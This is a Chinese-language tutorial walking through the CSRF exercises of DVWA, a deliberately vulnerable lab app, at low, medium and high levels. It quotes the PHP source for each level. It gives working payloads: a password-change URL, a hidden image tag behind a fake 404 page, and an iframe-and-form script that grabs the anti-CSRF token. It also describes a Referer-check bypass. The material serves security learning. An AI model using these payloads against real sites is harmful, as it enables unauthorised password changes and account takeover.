DVWA--CRSF
首先我们对CRSF进行一个介绍
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8
CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
先是low级别的我们来看一下代码
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看见低安全级别的代码就是对比两次输入的密码 两次输入的结果相同从而就可以进行更改了
此时只要让受害者点击这个链接 密码就会被改成password了
http://127.0.0.1/dwva/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
这个链接有点长了 这时候我们可以通过 缩短链接来进行攻击
因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
C) 构造攻击页面
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
0x02爱之在试探 Medium
老规矩 有源代码可以看为什么不看
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
要读懂这段语句首先我们的了解 超全局变量 和stripos函数 下面是我学习这两个函数的链接
https://www.cnblogs.com/rendd/p/6182918.html
http://www.w3school.com.cn/php/func_string_stripos.asp
这里这句话的意思是 将请求数据包中的HTTP_REFERER
和SERVER_NAME
作比对 如果两个不存在相同的参数就不成功 为什么和SERVER_NAME
作比对呐 因为这里我们在超全局变量里面学习到
SERVER_NAME放的参数和$_SERVER["SERVER_NAME"] 输出配置文件httpd.conf中的ServerName,一般情况下与HTTP_HOST值相同,但如果服务器端口不是默认的80端口,或者协议规范不是HTTP/1.1时
,HTTP_HOST会包含这些信息,而SERVER_NAME不一定包含。(主要看配置文件的设置)。
这个比对的意思也就是说 如果你的请求不是本机的ip发出的那么我就不允许你执行 用这种机制来抵御CSRF攻击
接下来我们进行试验
我们发现用本机访问居然都报错了 没有修改成功
哈哈 才想起来是因为我刚刚用的fifox的cookie而现在我再用360安全浏览器 所以浏览器必须一样呀
好了 我们在360上面再次登陆一下dvwa就行了
开始发现还是不行 因为127.0.0.1不是本机的ip呀
这是我们正常的本机修改密码的成功的图片 可以看见HOST和refer里面有一样的值 所以能成功
那我们如果要攻击怎么办呐?
我们构造的的攻击页面肯定是放在外网的服务器上面的 所以这里的refer一定是外网服务器的攻击页面的路径 那我们怎么办呐? 发现我们可以更改网页名称来进行绕过这个过滤 哈哈
这样一样能成功修改密码 嘿嘿 这个绕过方法还行吧
0x03爱之再深入High
服务器端核心代码
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.1.101/dvwa/vulnerabilities/csrf,位于服务器192.168.1.101上,而我们的攻击页面位于黑客服务器一个外网xxx.xxx.xxx.xxx上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.1.101中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
这里小编对于xss的了解还不够升入 等小编回头学了xss一定来补上这里的空缺
就当做我们这里得到了user_token
那步骤就是和上面的一样了
切记 学习之道 无浮躁 无急切 一切随缘 慢慢来 少就是多